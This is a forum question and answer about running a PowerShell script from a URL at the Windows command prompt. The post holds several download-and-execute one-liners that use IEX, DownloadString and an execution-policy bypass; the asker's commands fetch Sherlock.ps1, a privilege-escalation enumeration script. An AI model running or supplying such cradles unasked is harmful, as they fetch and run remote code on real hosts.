Run Powershell script from WebClient.DownloadString on the Command Prompt

28.4k Views Asked by At

On the Command Prompt, I want to run a PowerShell script that is stored at a URL.

Here is what I have tried:

powershell -c "iex ((New-Object System.Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1'))"

powershell -Command "& iex (New-Object System.Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1')"

powershell -NoProfile -Command "iex ((New-Object System.Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1'))"

powershell.exe -exec Bypass -C "IEX (New-Object Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1')"

I have ran each of them for 5 minutes and nothing really showed the results I wanted. It displays no error but nothing really happen after waiting.

I want to know why the above scripts does not work as intended?

I will achieve the result I want by typing this instead:

echo IEX (New-Object Net.WebClient).DownloadString('http://192.X.X.X/Sherlock.ps1') | powershell -NoProfile -Command -

My question is similar to: Run Powershell script from URL without temporary file

Other references: https://learn.microsoft.com/en-us/powershell/module/microsoft.powershell.core/about/about_powershell_exe?view=powershell-5.1

https://gist.github.com/jivoi/c354eaaf3019352ce32522f916c03d70

1

There are 1 best solutions below

0
Chris Kibble On

There is more than one method, but here's a quick one-liner that should do the trick from the command prompt:

powershell -ExecutionPolicy Bypass -Command "[scriptblock]::Create((Invoke-WebRequest "https://gist.githubusercontent.com/ChrisKibble/afea9880a184cd2b2445e5d8408715af/raw/41cbbf042af07136132f09395e4664ffab33e310/gistfile1.txt").Content).Invoke();"

This creates a script block based on the content of a file hosted at a URL.

As to why yours don't work, it's tough to say without debugging it or doing some process monitoring, but my first guess would be something wrong with your PS1 file (try something simple like just a Write-Host).